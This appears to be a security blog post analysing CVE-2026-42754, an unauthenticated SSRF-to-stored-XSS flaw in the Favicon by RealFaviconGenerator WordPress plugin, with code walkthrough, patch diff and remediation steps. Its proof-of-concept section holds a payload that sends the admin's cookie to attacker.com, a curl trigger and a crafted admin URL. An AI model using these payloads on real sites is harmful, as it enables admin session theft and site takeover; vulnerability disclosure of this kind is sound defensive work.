Favicon by RealFaviconGenerator WordPress plugin banner

CVE-2026-42754: Favicon by RealFaviconGenerator Stored XSS (CVSS 7.2)

Updated 8 min read

CVE-2026-42754 is a CVSS 7.2 (High) Unauthenticated Stored Cross-Site Scripting vulnerability in the Favicon by RealFaviconGenerator WordPress plugin. An attacker who tricks an admin into visiting a crafted URL can make WordPress fetch content from an attacker-controlled server and inject arbitrary JavaScript into the admin panel.

Vulnerability Summary

FieldValue
Plugin NameFavicon by RealFaviconGenerator
Plugin Slugfavicon-by-realfavicongenerator
CVE IDCVE-2026-42754
CVSS Score7.2 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Vulnerability TypeUnauthenticated Stored Cross-Site Scripting
Affected Versions<= 1.3.46
Patched Version1.3.47
PublishedMay 30, 2026
Researcherdodoh4t
Wordfence AdvisoryLink

Description

The Favicon by RealFaviconGenerator plugin is vulnerable to Stored Cross-Site Scripting in all versions up to and including 1.3.46. The flaw exists in the install_new_favicon AJAX callback due to insufficient input sanitization and unsafe HTML rendering of server responses.

An attacker who lures an admin into visiting a crafted URL triggers a Server-Side Request Forgery (SSRF). WordPress fetches a JSON file from an attacker-controlled server. The error message from that server is echoed back to the admin’s browser and rendered as raw HTML, executing any injected JavaScript.

Technical Analysis

1. AJAX Endpoint Registration

In admin/class-favicon-by-realfavicongenerator-admin.php, the register_admin_actions() function registers the AJAX handler for both authenticated and unauthenticated users:

// admin/class-favicon-by-realfavicongenerator-admin.php (line 68–73)
add_action(
    'wp_ajax_' . Favicon_By_RealFaviconGenerator_Common::PLUGIN_PREFIX . '_install_new_favicon',
    array( $this, 'install_new_favicon' )
);
add_action(
    'wp_ajax_nopriv_' . Favicon_By_RealFaviconGenerator_Common::PLUGIN_PREFIX . '_install_new_favicon',
    array( $this, 'install_new_favicon' )
);

The wp_ajax_nopriv_ prefix registers the callback to fire for unauthenticated AJAX requests. The install_new_favicon() function itself has no authentication or nonce check at the start.

2. URL Construction Vulnerability (SSRF via Userinfo Trick)

Inside install_new_favicon(), the json_result_url parameter from the request is used to build a fetch URL:

// admin/class-favicon-by-realfavicongenerator-admin.php (line 192–193)
$url = 'https://realfavicongenerator.net' .
  preg_replace( '/^http:\/\//', '', esc_url_raw( $_REQUEST['json_result_url'] ) );

The developer intended to force all fetches to realfavicongenerator.net. But the approach is broken. An attacker supplies:

json_result_url=http://@evil.com/xss.json

The transformation chain:

StepValue
Raw inputhttp://@evil.com/xss.json
After esc_url_raw()http://@evil.com/xss.json
After preg_replace('/^http:\/\//', '')@evil.com/xss.json
Final constructed URLhttps://realfavicongenerator.net@evil.com/xss.json

In standard URL parsing, everything before @ in the authority component is treated as userinfo (credentials), and everything after @ is the host. So wp_remote_get() contacts evil.com, not realfavicongenerator.net. The patch comment confirms this:

Any other host (including userinfo tricks like http://@attacker/poc.json, where realfavicongenerator.net would otherwise become the userinfo) is rejected.

3. Late Nonce Verification

The function checks a nonce only AFTER the SSRF fetch and JSON parsing:

// admin/class-favicon-by-realfavicongenerator-admin.php (line 196–211)
$result   = $this->download_result_json( $url );           // SSRF happens here
$response = new Favicon_By_RealFaviconGenerator_Api_Response( $result );  // may throw

if ( ! wp_verify_nonce( $response->getCustomParameter(),   // never reached on exception
    self::NONCE_ACTION_NAME_FAVICON_GENERATION ) ) {
    // ...
}

If the attacker’s server returns an error-status JSON, the Favicon_By_RealFaviconGenerator_Api_Response constructor throws an InvalidArgumentException using the attacker-controlled error_message field:

// admin/class-favicon-by-realfavicongenerator-api-response.php (line 40–43)
if ( $status != 'success' ) {
    $msg = $this->getParam( $result, 'error_message', false );
    $msg = $msg != null ? $msg : 'An error occured';
    throw new InvalidArgumentException( $msg );     // attacker-controlled message
}

The nonce check never runs. The exception message carries the attacker’s payload.

4. XSS via .html() in Error Message Display

The catch block in install_new_favicon() returns the exception message as JSON to the browser:

// admin/class-favicon-by-realfavicongenerator-admin.php (line 234–240)
} catch ( Exception $e ) {
    ?>
{
    "status": "error",
    "message": <?php echo json_encode( $e->getMessage() ); ?>    // attacker-controlled
}
    <?php
}

In admin/views/appearance.php, the JavaScript renders this response as HTML:

// admin/views/appearance.php (line ~285–292)
.done(function(response) {
    if (response.status == 'success') { ... }
    else {
        var msg = "An error occured";
        if (response.message != null) {
            msg += ": " + response.message;     // attacker-controlled content
        }
        jQuery('#install_error_message p').html(msg);    // XSS sink
    }
})

jQuery’s .html() parses and renders HTML. Any event handlers in the injected content execute immediately. An <img src=x onerror=...> payload fires the moment the element is inserted.

Proof of Concept

Disclaimer: This proof of concept is provided for educational purposes and authorized security testing only. Do not use it on systems you do not own or have explicit permission to test.

Prerequisites

  • Favicon by RealFaviconGenerator <= 1.3.46 installed and active on the target site
  • An admin who can be lured to a crafted URL (attacker needs no account)

Step 1 — Host a Malicious JSON Response

On an attacker-controlled server (e.g., attacker.com), create and serve xss.json:

{
    "favicon_generation_result": {
        "result": {
            "status": "error",
            "error_message": "<img src=x onerror=\"fetch('https://attacker.com/steal?c='+document.cookie)\">"
        }
    }
}
# Serve the file on attacker.com
python3 -m http.server 80

Step 2 — Trigger the SSRF

Test the endpoint directly with admin credentials to confirm SSRF:

curl -s 'https://TARGET.com/wp-admin/admin-ajax.php' \
  --cookie "wordpress_logged_in_HASH=ADMIN_COOKIE_VALUE" \
  -G \
  --data-urlencode 'action=fbrfg_install_new_favicon' \
  --data-urlencode 'json_result_url=http://@attacker.com/xss.json'

Step 3 — Confirm the XSS Payload in Response

Expected server response:

{
  "status": "error",
  "message": "<img src=x onerror=\"fetch('https://attacker.com/steal?c='+document.cookie)\">"
}

Step 4 — CSRF Delivery (No Admin Credentials Needed)

Craft a link that triggers the exploit when visited by an admin. The admin’s browser auto-fires the AJAX call on page load:

https://TARGET.com/wp-admin/themes.php?page=PATH_TO_PLUGIN/admin/class-favicon-by-realfavicongenerator-admin.phpfavicon_appearance_menu&json_result_url=http://@attacker.com/xss.json

When the admin opens this link:

  1. The appearance page loads with json_result_url set
  2. JavaScript auto-calls install_new_favicon with the crafted URL
  3. WordPress fetches https://realfavicongenerator.net@attacker.com/xss.json (SSRF)
  4. The error message with XSS payload returns to the admin’s browser
  5. .html(msg) renders it — the onerror handler fires

Step 5 — Verify on Attacker Server

Check your server logs for the cookie value:

GET /steal?c=wordpress_logged_in_HASH%3DADMIN_SESSION_TOKEN HTTP/1.1
Host: attacker.com

Why realfavicongenerator.net Becomes the Userinfo

Standard URL authority format: scheme://userinfo@host/path

In https://realfavicongenerator.net@evil.com/xss.json:

  • realfavicongenerator.net → userinfo (credentials, ignored by the server)
  • evil.com → actual host that receives the request

PHP’s HTTP client follows RFC 3986 authority parsing. The server at evil.com receives the request, not realfavicongenerator.net.

Patch Analysis

The 1.3.47 patch (admin/class-favicon-by-realfavicongenerator-admin.php) makes three targeted fixes.

Fix 1 — Upfront nonce verification:

 public function install_new_favicon() {
     header( 'Content-type: application/json' );
 
+    $nonce = isset( $_REQUEST['_wpnonce'] ) ? $_REQUEST['_wpnonce'] : '';
+    if ( ! wp_verify_nonce( $nonce, self::NONCE_ACTION_NAME_FAVICON_GENERATION ) ) {
+        echo wp_json_encode( array(
+            'status'  => 'error',
+            'message' => __( 'Nonce check failed', FBRFG_PLUGIN_SLUG ),
+        ) );
+        die();
+    }
+
     try {
-        $url = 'https://realfavicongenerator.net' .
-          preg_replace( '/^http:\/\//', '', esc_url_raw( $_REQUEST['json_result_url'] ) );
+        $url = $this->build_json_result_url();

The nonce is now checked before any URL processing. Without a valid nonce, the function exits immediately. The nonce is passed in the AJAX data from the appearance page (not via the remote JSON), so an attacker cannot supply it.

Fix 2 — Proper URL validation:

+   private function build_json_result_url() {
+       $raw   = esc_url_raw( wp_unslash( $_REQUEST['json_result_url'] ) );
+       $parts = wp_parse_url( $raw );
+       if ( ! is_array( $parts ) ) {
+           throw new InvalidArgumentException( 'Invalid favicon result URL' );
+       }
+       if ( ! empty( $parts['host'] ) &&
+           strtolower( $parts['host'] ) !== 'realfavicongenerator.net' ) {
+           throw new InvalidArgumentException( 'Invalid favicon result URL' );
+       }
+       // ...
+       return 'https://realfavicongenerator.net' . $path . $query;
+   }

The new function uses wp_parse_url() to extract the host component correctly. Userinfo tricks like @attacker.com are caught because wp_parse_url() would return attacker.com as the host. Any host other than realfavicongenerator.net causes an early exception.

Fix 3 — Safe error rendering (appearance.php):

-   jQuery('#install_error_message p').html(msg);
+   jQuery('#install_error_message p').text(msg);

Switching from .html() to .text() ensures that any HTML tags in the error message are displayed as plain text rather than rendered. This breaks the XSS sink even if the first two fixes were somehow bypassed.

The patch also adds _wpnonce to the AJAX request data in the appearance page JavaScript, so the nonce is now submitted alongside the json_result_url:

 var data = {
     action: 'fbrfg_install_new_favicon',
-    json_result_url: '<?php echo esc_html( $new_favicon_params_url ) ?>'
+    json_result_url: '<?php echo esc_html( $new_favicon_params_url ) ?>',
+    _wpnonce: '<?php echo esc_html( $nonce ) ?>'
 };

Timeline

DateEvent
UnknownVulnerability discovered and reported by dodoh4t via Patchstack VDP
~May 30, 2026Version 1.3.47 released with fix
May 30, 2026CVE-2026-42754 published, Wordfence advisory published
June 1, 2026Wordfence advisory last updated
June 7, 2026This blog post published

Remediation

Update Favicon by RealFaviconGenerator to version 1.3.47 or later immediately.

  1. From the WordPress admin, go to Plugins → Installed Plugins
  2. Find Favicon by RealFaviconGenerator and click Update Now
  3. Alternatively, download version 1.3.47 directly from wordpress.org

If you cannot update immediately, deactivate the plugin to remove the attack surface until the update can be applied.

References

  1. Wordfence Advisory — CVE-2026-42754
  2. CVE Record — CVE-2026-42754
  3. Patchstack Advisory
  4. Plugin Changelog (1.3.46 → 1.3.47)
Share this post: X / Twitter LinkedIn

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee